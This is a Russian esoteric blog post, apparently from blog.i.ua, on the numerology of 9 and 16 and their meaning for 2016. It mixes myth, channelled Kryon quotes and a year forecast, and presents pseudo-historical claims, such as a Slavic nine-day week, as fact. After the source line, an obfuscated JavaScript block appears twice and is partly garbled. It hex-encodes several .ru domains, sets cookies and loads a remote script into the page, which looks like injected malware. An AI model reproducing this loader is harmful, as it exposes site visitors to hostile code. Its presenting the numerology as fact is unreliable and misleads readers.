зрелостью, и новыми возможностями. Это и устье, и исток, и последняя ступень прошлого, и первый шаг в будущее. Девятка уникальна, поскольку обладает качествами всех чисел, что дает ей безграничные магические возможности. Число 9 (эннеада). Эннеада есть одна из самых священных величин в оккультизме, которая уступает лишь декаде (10). Пифагорейцы называли девятку "пределом всех чисел". Девятка – утроенная триада, символ абсолютного совершенства и законченности. В Евангелии сказано: "От шестого же часа тьма была по всей земле до часа девятого" (Матф., 27:45). Число 9, так же как и 1 ограничивает систему чисел. Они являются рамками, формами проявления. Между ними протекает вся жизнь. Если сравнить арабские цифры 1 и 9, то они более чем похожи. Единица изображалась точкой с хвостиком, как сперматозоид, а девятка отличалась только тем, что вместо точки – круг, что символизирует пространство. Ранее беспространственная "начальная точка" бытия в процессе эволюции развивалась до пространства и обретала объём. После завершения цикла (1 – 9) заново обретается первоначальная энергия (Бог – 10). Поэтому 9 – это 1 плюс пространство. После сведения их воедино начинается большой цикл с 10, т. е. новый цикл, но на более высоком уровне, т. к. в числе 10 единица соединяется с нулём (пространством). Девятке не хватает лишь 1, чтобы стать богом на новом уровне. Отшельник в Аркане Таро ищет именно эту единицу, т. е. самость, целостность. Восходя по трём уровням Посвящения (9 = 3 х 3), возвращается к истинному Себе (10-й Артан Таро – Колесо Фортуны – признание себя), к изначальной искре. Обретя Единицу, познав Единицу – Дух в себе, он проходит полное посвящение и становится Десяткой. Пифагорейцы говорили, что девятка – это океан, потому что она собирает все числа внутри себя, вне её есть только Десятка. В самом деле, Десятка – не новое число, она состоит из 1 и 0 (0 является отражением 9), т. е. того, с чего всё начиналось (1), но уже на новом уровне. Вспомним трилистник – символ Вселенной и Вечности: часто он рисуется так, что ясно видны три треугольных листочка. "В тридевятом царстве" говорится в сказках, когда сюжет зовёт нас в неизведанную даль. Божественную сущность девятки отражают многие религии: в индуизме она выражает священный огонь бога Агни; в иудаизме – свет истины, поскольку девятка воспроизводит себя при умножении; в буддизме – высшую духовную силу. Как видите, всё вышеперечисленное аналогично принципу Девятого Аркана "Отшельник" или "Внутренний Свет". Девятка это также символ неуничтожаемой материи, так как сумма цифр любого числа кратного девяти, дает число девять. В масонстве существует орден Девяти Избранных Рыцарей. Интересен ещё один аспект девятки, как числа центра, поскольку восемь направлений плюс центр даёт девятку. В этом числе заключена Вселенная и вся наша жизнь! Именно девять месяцев ребенок развивается в утробе матери, девять дней после погребения тела душе позволено осматривать красоты Рая. У древних славян неделя состояла не из семи, а из девяти дней, и в году было девять месяцев. Норвежская мифология начинается с девяти миров, соединенных гигантским деревом, на вершине которого живут боги, а среди корней находится преисподняя. Девять муз было в мифологии древних греков, а у кошки, согласно поверьям, девять жизней. Возможно, поэтому кошек связывают с магией чаще, чем других животных. Доказательства законченности девятки, которая определяется, как граница и ограничение (всех начальных чисел), человек находит и в космосе, и на земле, и даже под землёй. Готовясь к выходу в большой мир, человеческий плод девять месяцев зреет и набирается сил в утробе матери. В солнечной системе, образующей мир ближнего космоса, вращаются девять планет. Грозную законченность девятки получил в мифологии майя и ацтеков Миктлан – подземный мир мёртвых, разделённый на девять ярусов. Христианский ад тоже состоит из девяти концентрических кругов, а ведут туда девять врат. Также в христианской религии законченность миропорядка, отражаемая девяткой, выражается девятью ангельскими чинами, распределёнными по трём триадам. В культах скандинавского бога Одина эннеада представлена девятью мирами Вселенной. Развёрнутое свидетельство зримого присутствия девятки в числовом символизме античности: кроме 9 муз Троянская война продолжалась 9 лет (и на 10 год её исход); 9 лет странствует Одиссей (на 10-й возвращается на родину); 9 птиц, предсказывающих продолжительность войны; 9 лет жизни Посейдона у морских богинь; 9 дней мора у ахейцев по велению Аполлона; 9 дней пира Беллерофонта у ликийского царя, 9 дней плена Феникса в доме его родителей, 9 дней ссоры богов о теле Гектора, 9 дней плача по Гектору, 9 дней бури перед прибытием Одиссея к Калипсо и т.д. И это ещё далеко не все примеры из Гомера на употребление числа 9. Король Артур имел девятую часть силы своего божественного отца. Гаммельский крысолов девятью звуками собрал вместе всех детей. Понятие "все девять" при игре в кегли основано на знании положительного разрушения для завершения и для того, чтобы начать всё сначала. Девятка представляет собой круг, который был замкнут и в котором уже видно начало развития нового цикла. Всё приведённое выше подтверждает главный принцип девятки – завершение! Нумерологическая загадка, которую Сфинкс предложил разгадать Эдипу "кто ходит утром на четырёх ногах, днем – на двух, а вечером – на трёх", так же отражает мистерии эннеады, в которых число 9 (4 + 2 + 3) предстаёт как символ человеческого существа, из-за девяти месяцев внутриутробного развития и из-за схожести начертания этой цифры со сперматозоидом. Кстати на Руси есть такое растение – девясил, что прямым текстом указывает на силу девяти – на мощь девятки, о которой чуть ниже говорит Крайон. В некоторых источниках девятку определяют числом разрушения, отсюда и числом зла, а во многих говорится, что 9 не просто символизирует собой Посвящение, но и выражает этапы приближения к совершенству. Здесь нет разногласия, всё зависит от точки зрения. С чисто материалистической точки зрения 9 – это окончание, т. е. смерть, разрушение, отсюда страх уничтожения, основное зло человека. В своих книгах Э. Мулдашев рассматривает девятку именно в этом ракурсе. Но если изучить этот вопрос глубже, то девятка в её "аспекте уничтожения" трактуется совсем иначе. В действительности законченные формы растворяются на низшей ступени, чтобы развить своё содержание на более высоком уровне. Колос умирает, рождая зерно, а сперма изливается в процессе возникновения новой жизни. Человеческий страх уничтожения основан на недостаточном знании. Девятка – это принцип, разрушающий форму, но рождающий новое. Христос умер на кресте на девятом часу, но возродился в новом качестве. Несведущий человек боится цельности девятки, т. к. это последний шаг, но это и подготовка нового шага в другой реальности. «Правление девяти» — речь идёт о властителях колец (что легло в основу знаменитой саги Толкиена "Властелин колец"), о сохранении митохондриальной ДНК в божественных династиях, т. е. о наследовании Дев Грааля, передаче крови Грааля и многом другом, но к нашей теме относится три абзаца из этой работы, которые я приведу ниже. История царского наследования по женской линии насчитывает тысячи лет и восходит к началу письменной истории, когда Анну был великим правителем ануннаков и носил титул Владыки Неба. Ануннаки управляли страной через Великое собрание девяти советников: 7 мужчин, 1 женщина – владевших 8-ю кольцами Божественного правосудия и председатель Ану владеющий Единым кольцом (Кольцо Всевластья) – девятым, связующим все остальные. Это соответствует не только девяти царствам из "Саги о Вёльсунгах", где Один (Вотан) называется верховным Властителем Кольца, но и семи архангелам еврейской традиции, имевшим двух старших: Владыку Духов и Высочайшего. В гематрии число 9 (которое ассоциируется с девятью Кольцами) наделяется особым магическим смыслом, поскольку оно имеет много интересных характеристик. Для древних греков девятка была эннеадой– великим "внешним небом" Вселенной, а из девяти греческих муз Терпсихора (муза священного танца) являлась девятой и самой могущественной. В скандинавской мифологии Один висит на "мировом древе" девять дней и ночей и выучивает девять песен. В "Макбете" Шекспира три ведьмы произносят "заговор девятки", а исцеляющий ритуал "девятикратной силы" был распространён в западной Европе от Германии до Шотландии. Девятка является числом сострадания, Божественной воли, призыва высших сил, а также символическим числом Мерлина, одного из самых известных магов средневековья. Анту старшая сестра Ану обладала саном верховной правительницы и титулом Барат – Анна (Владычица Огненного камня). Brt – обозначало особ царской крови, Анна – огненный камень. Ее отожествляли с Дианой Эфесской (Дианой Девяти Огней). Её символом была Чаша Вод (красный крест в круге). В дальнейшем Барат – Анна трансформировалась в Британию и её символом стал факел, как покровительницы алхимии огня. Как мы видим символом Дианы Девяти Огней была Чаша Вод, но 2009 год, как год Бобра в зороастрийском календаре, который является календарём религии огнепоклонников, находится под покровительством Владычицы Небесных Вод – Ардвисуры-Анахиты и ещё раз мы связываем вместе вещи, казалось бы, столь далеко отстоящие одна от другой. У индейцев майя, 9 – это символ периодичности и завершённости, который, согласуется с понятием Девяти Властелинов Времени и Судьбы – первых галактических Мастеров: Семь Владык Колец и Два Хранителя УР Внутреннего Времени. В древние времена Славяно-Арийцы делили год на 6 сезонов (такое деление сохранилось в арийских календарях Индии), на 9 месяцев по 40 (41) дней и недели по 9 дней. До сих пор на Руси по прошествии древней славянской недели и славянского месяца справляют поминки по умершим. В Сибири у волхвов-староверов сохранились древнейшие жреческие названия этих 9 месяцев (Рамхаьъ, Айлетъ, Бейлетъ, Гейлетъ, Дайлетъ, Элетъ, Вэйлет, Хейлетъ и Тайлетъ) и 9 дней недели (Понедельник, Вторник, Тритейник, Четверг, Пятница, Шестица, Седмица, Осьмица, Неделя). Наши предки обладали развитой космогонией и прекрасно знали о цикле в 25 920 лет, который теперь называется годом Платона, а в Рассении (древнее название славянской земли) назывался Сварожий Круг или Сутки Сварога. В древних писаниях есть предупреждение о наступлении Тёмных Времён, но и предсказывалось начало Светлых Времён, когда ось Земли повернёт в направление центра галактики, и тогда нам надо ждать невероятных перемен. Наступил Чертог Волка (Восьмой сегмент Сварожьего круга — (с Х’Арийской Каруны – ведающий лес, но «лес» в смысле «весь живой мир»), Священное древо — Тополь) , богом – покровителем которого является Велес – один из прародителей Славяно-Арийцев, давший энергию движения материальной Вселенной. Человечеству он даёт дары земные и дары духовные. Он – хранитель Врат, ведущих в Райский Сад – Вырий. В момент наступления эпохи Волка, санитара Природы, в Ведах предсказано, что для "тёмных людей наступит конец света, а для светлых – конец тьмы". Славянская система энергетических центров более расширена, чем восточная и имеет не 7, а 9 главенствующих центров, которые разделены на три структуры, как тут ещё раз не вспомнить о "силе девяти"? Три нижние чакры отвечают за физическое развитие человека и относятся к миру Нави, следующие три – отвечают за душевное развитие и относятся к миру Яви, а последние три – отвечают за духовное развитие и относятся к миру Слави. Так какие же две чакры отмечали наши древние предки, не вошедшие в современные восточные представления? Эти две чакры, входящие во вторую тройку, находятся на правом и левом плече и охватывают подмышки и плечевой сустав. Чакра, находящаяся на правом плече, называется Лада – принимает и излучает энергии любви, добра и нежность. Кроме того, эта чакра отвечает за работоспособность (механическое восприятие). Чакра, находящаяся на левом плече, называется Леля – регулирует работу сердца и принимает энергию интуиции. Она обеспечивает интуитивное познание мира Яви, интуитивное творчество и предчувствие. Крайон: "…Смысл комбинации 666 – призрачная (или замаскированная) девятка. Число 9 прячется в этой тройной шестёрке и представляет энергию вашего времени. Оно связано с вибрацией баланса, силы и любви. Также оно сигнализирует о завершении. Если вы сложите три шестёрки, то получите число 18, сумма цифр которого равняется 9. Если умножите получившуюся девятку на число могущества 3, чтобы получить о нём дополнительную информацию, то получите 27, что также складывается в 9. Если вам кажется, что три шестёрки представляют число 6 в кубе, проделайте расчёт – и получите 216; это число также складывается в 9. Эта вибрация девятки – вибрация тех, кто будет сбалансирован и останется. Вы также должны были запомнить мощь девятки в год моего появления (1989) и осознать важность этого числа…". Вот какое удивительное число станет управителем настоящего года. Исходя из вышесказанного, мы переходим непосредственно к числу 16, т. е. явному шифру 2016 года. Число 16 – Таинство Высшей Любви. Так названа глава в книге Неаполитанского С. М. и Матвеева С. А. «Библейская нумерология» посвящённая числу 16. Авторы пишут: «Это число символизирует любовь, Высшую Любовь к Богу. Нет никакого сомнения относительно важности закодированной в цифровой форме структуры Священного Писания. Даше номер глав и стихов Библии доказывают скрытую глубину числовых вибраций». Далее авторы пишут, что «создание Бога-Отца находится в пределах от 1 до 7. Творческая работа Христа, как Сына Божьего укладывается во вторую группу семёрок: от 8 до 14… Творческая работа Святого Духа, находится в третьей группе: от 15 до 21. Таким образом, глава 3 Евангелия от Иоанна связана с деятельностью Святого Духа после завершения работы Христа, победившего смерть Своим стремлением к вечной жизни. В стихе 16 эти рассуждения находят наилучшее подтверждение: «Ибо так возлюбил Бог мир, что отдал Сына Своего Единородного, дабы всякий верующий в Него, не погиб, но имел жизнь вечную». «…Предстоит соединить то, что было разъединено от Начала Начал Вселенной. Разные измерения свести воедино. Разные части сделать целым. При этом стать Тем, кем ещё не были. Боги станут точкой… Точка станет богами. Ноль в восьмёрку обратится. Восьмёрка родит шестнадцать. Крылья Серафимов ветром Любви приподнимут завесу таинства сотворения Новых вселенных, доселе ещё неизведанных! Вот кто вы такие! Вот для чего человечество рождено!» (Журнал «Мировой ченнелинг» 2012 г. № 3). Шестнадцать. Символ полноты. Число меры. В романской системе единица измерения равнялась 4 ладоням, и каждая ладонь измерялась четырьмя пальцами. Подобная же система была в Древней Греции. 16 – любимое число в Индии. Китайско-индийская богиня Пусса, восседающая на лотосе, изображается с 16 руками. Веды упоминают о 16-частных песнопениях во время приготовления священного напитка сома. С 16 руками изображается и богиня Шакти, как вы видите на рисунке. Шакти (означает «сила», «могущество») в индийской позднейшей мифологии – воплощение и олицетворение творческой или разрушительной способности того или другого божества, преимущественно Шивы, в виде парного ему божества женского пола, богини-супруги. По «Чхандогья Упанишадам» человек состоит из 16 частей. В классической индийской эстетике содержится 16 обозначений красоты. Любимую женщину украшают 16 ювелирными украшениями. 16 мантр составляют определённую единицу измерения в поэзии. Тинтал в индийской музыке состоит также из 16 частей. Это число нередко обыгрывается в литературе и искусстве, особенно в восточной. Классическая арабская литература, возможно, унаследовала 16, как знак совершенства из индийской метрики. 16 состоит из 4 х 4, что представляет 4 элемента, организованных во времени и пространстве. У некоторых народов мира 16 лет – это срок достижения совершеннолетия, которое отмечается «посвящением» во взрослую жизнь. 16 считалось счастливым числом, поскольку пифагорейский символизм мыслил его как составленное из четырех четвёрок – священных тетрактисов. Умножение четыре на четыре выступало как гарантия счастья. Считалось, что любое соприкосновение с ним несёт удачу, достаток в семье и доме, а отсюда следует ещё одно его значение: оно означает достижение материальной власти, если говорить о мире форм, но в духовном мире его символизм намного сложнее. Известны 4 х 4 философских элемента розенкрейцеров. Это также сумма четырёх первых нечётных чисел: 1 + 3 + 5 + 7 = 16, что при теософском сложении даёт 1 + 6 = 7, священное число. Круглые витражи в некоторых соборах (например в Страсбургском) имеют шестнадцать лучей. В древности различали шестнадцать священных растений: мятный котовник (жизненная сила), василёк (волшебство), чистотел (триумф), омела (спасение), гелиотроп (искренность), белена (смерть), чернокорень лекарственный (симпатия), лилия (проявление), мелисса (утешение), крапива (храбрость), барвинок (верность), роза (посвящение), шалфей (жизнь), драконов корень (флюиды), вербена (любовь). Шестнадцатый Аркан Таро означает выход во внешний мир, решающий прорыв на свободу из Царства ночи. Если перевести эту трактовку на эзотерический язык, то можно сказать, что число 16, через своё проявление в Арканах Таро знаменует решающий прорыв на новый уровень бытия, выход в Свет, осуществление перехода в Истинную Реальность и Новое Пространство! Давайте посмотрим, о чём нам расскажет символика шестнадцатилучевой звезды. Наличие у звезды 16 лучей означает, что такая звезда изображает Солнце, и, следовательно, называется в эмблематике уже не звездой, а Солнцем. По геральдическим правилам 16 – минимальное число лучей, дающее основание именовать изображение Солнцем, и любое число лучей, свыше 16 и кратное 4, также является достаточным, чтобы изображение, обладающее ими, называлось Солнцем. Как знак солнечной чистоты, ясности и незапятнанности, изображение 16-конечной звезды со времён языческого Древнего Рима считалось эмблемой девственности, и отсюда уже в эпоху раннего христианства сопутствовало изображениям Святой Девы, т. е. Богородицы, что нашло позднее отражение в византийской иконописи. Поскольку девственница и дева по-латыни называются Virgo, то и 16-конечная звезда как эмблема Святой Девы Марии позднее получила наименование Виргинской звезды…. …Безусловно, 2016 год завершит очень многие процессы, как в мировых масштабах, так и в личностных. Это будет год переосмысления и перезагрузки, финиша и старта одновременно. Что самое приятное, в 2016-м многие станут больше думать, размышлять. Внешние факторы (общественное мнение, повседневная суета) не станут оказывать на нас слишком сильное влияние, и большее значение приобретет духовная жизнь. Мы станем предъявлять высокие моральные требования и к себе, и к окружающим. Что касается карьеры, бизнеса, финансов, год будет удачным для тех, кто стремится достичь высокого профессионализма. Наиболее востребованными будут специалисты, имеющие собственное мнение и способные его отстоять. Мировые валюты, которые в уходящем году являлись, пожалуй, одним из основных источников стресса, станут вести себя более разумно и сдержанно. Что касает­ся личных денег, многим придется затянуть поясок, но в итоге это пойдет на пользу. Семейные и романтические отношения могут поменять формат: кто-то начнет совместную жизнь, кто-то, наоборот, решит расстаться. В любом случае выбор будет сделан осмысленно и даст возможность развиваться каждому из партнеров. Основной урок, который должен усвоить каждый, — научиться прощать. В мировом масштабе на первый план выйдут проблемы, связанные с ранее неизвестными инфекционными заболеваниями, скорее всего, вызванными загрязнением среды. По-прежнему нас будут шокировать природные катаклизмы. Вероятны появление новых технологий, научные открытия в области химии, медицины, астрологии. 

Таковы общие нумерологические тенденции 2016 года. Анализ кода цифрового года настоящего… И каждый смотрит на этот синтез под своим углом зрения… Но безусловно это еще одно открытие уровней многомерности Бытия. Важно осознать — Цикличность порядка неизбежна… Во всём… 

Блага Всем! 
Блага Всему Сущему! 
Мир Духа! 
Да будет Мир – свято храним Сердцем Человеческим! 




Продолжение следует....
Источник: pozitiv.donetsk.uol.ua/text/13544604/2016-god-devyatka/window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20864",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20864",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Страницы:
1
2
3
4
5
6
7
8
14
предыдущая
следующая